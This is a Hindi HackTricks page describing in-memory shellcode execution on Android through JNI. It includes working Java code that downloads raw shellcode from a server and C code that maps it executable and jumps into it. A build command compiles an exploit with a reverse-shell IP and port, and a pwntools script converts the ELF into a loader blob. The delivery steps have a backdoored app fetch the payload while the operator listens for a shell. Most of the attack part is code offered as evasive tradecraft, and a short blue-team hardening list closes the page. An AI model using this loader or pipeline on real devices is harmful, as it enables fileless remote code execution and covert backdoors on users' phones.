Android में In-Memory Native Code Execution via JNI (shellcode)

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यह पेज एक व्यावहारिक पैटर्न दस्तावेज़ करता है जिससे untrusted Android app process से JNI का उपयोग करके native payloads को पूरी तरह memory में execute किया जा सके। यह फ्लो किसी on-disk native binary को बनाने से बचता है: HTTP(S) पर raw shellcode bytes डाउनलोड करें, उन्हें JNI bridge को पास करें, RX memory allocate करें, और उसमें जंप करें।

Why it matters

  • फ़ॉरेंसिक artifacts घटते हैं (no ELF on disk)
  • “stage-2” native payloads के साथ संगत जो ELF exploit binary से जनरेट होते हैं
  • आधुनिक malware और red teams द्वारा उपयोग की जाने वाली tradecraft से मेल खाता है

High-level pattern

  1. Java/Kotlin में shellcode बाइट्स को प्राप्त करें
  2. byte array के साथ native method (JNI) को कॉल करें
  3. JNI में: RW memory allocate → बाइट्स copy → mprotect करके RX → entrypoint को कॉल करें

Minimal example

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI पक्ष (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

नोट्स और चेतावनियाँ

  • W^X/execmem: आधुनिक Android W^X लागू करता है; JIT वाले ऐप प्रक्रियाओं के लिए अनाम PROT_EXEC मैपिंग्स आम तौर पर अभी भी अनुमति हैं (SELinux नीति के अधीन)। कुछ डिवाइस/ROMs इसे प्रतिबंधित करते हैं; आवश्यक होने पर JIT-allocated exec pools या native bridges का उपयोग करें।
  • आर्किटेक्चर: सुनिश्चित करें कि shellcode का आर्किटेक्चर डिवाइस से मेल खाता हो (आम तौर पर arm64-v8a; x86 केवल emulators पर)।
  • Entrypoint contract: अपने shellcode एंट्री के लिए एक convention तय करें (कोई args नहीं बनाम structure pointer)। इसे position-independent (PIC) रखें।
  • स्थिरता: जंप करने से पहले instruction cache साफ करें; mismatched cache ARM पर क्रैश कर सकता है।

ELF पैकेजिंग → position‑independent shellcode एक मजबूत ऑपरेटर पाइपलाइन यह हो सकती है:

  • अपने exploit को musl-gcc के साथ एक static ELF के रूप में बनाएं
  • pwntools’ shellcraft.loader_append का उपयोग करके ELF को एक self‑loading shellcode blob में बदलें

बिल्ड

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

ELF को raw shellcode में बदलें (amd64 उदाहरण)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Why loader_append works: यह एक tiny loader emit करता है जो मेमोरी में embedded ELF program segments को map करता है और नियंत्रण उसके entrypoint पर transfer कर देता है, जिससे आपको एक single raw blob मिलता है जिसे app द्वारा memcpy’ed करके execute किया जा सकता है।

डिलिवरी

  • अपने नियंत्रण वाले HTTP(S) सर्वर पर sc होस्ट करें
  • The backdoored/test app sc डाउनलोड करता है और ऊपर दिखाए गए JNI bridge को invoke करता है
  • अपने operator बॉक्स पर उन किसी भी reverse connection के लिए सुनें जो kernel/user-mode payload स्थापित करता है

kernel payloads के लिए Validation workflow

  • तेज reversing/offset recovery के लिए एक symbolized vmlinux का उपयोग करें
  • उपलब्ध होने पर सुविधाजनक debug image पर primitives का प्रोटोटाइप बनाएं, लेकिन हमेशा वास्तविक Android target पर पुनः validate करें (kallsyms, KASLR slide, page-table layout, and mitigations अलग हो सकते हैं)

हार्डनिंग/डिटेक्शन (blue team)

  • जहाँ संभव हो app domains में anonymous PROT_EXEC को disallow करें (SELinux policy)
  • सख्त code integrity लागू करें (no dynamic native loading from network) और update channels को validate करें
  • संदिग्ध mmap/mprotect संक्रमणों को RX में और jumps से पहले होने वाली बड़ी byte-array प्रतियों की निगरानी करें

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें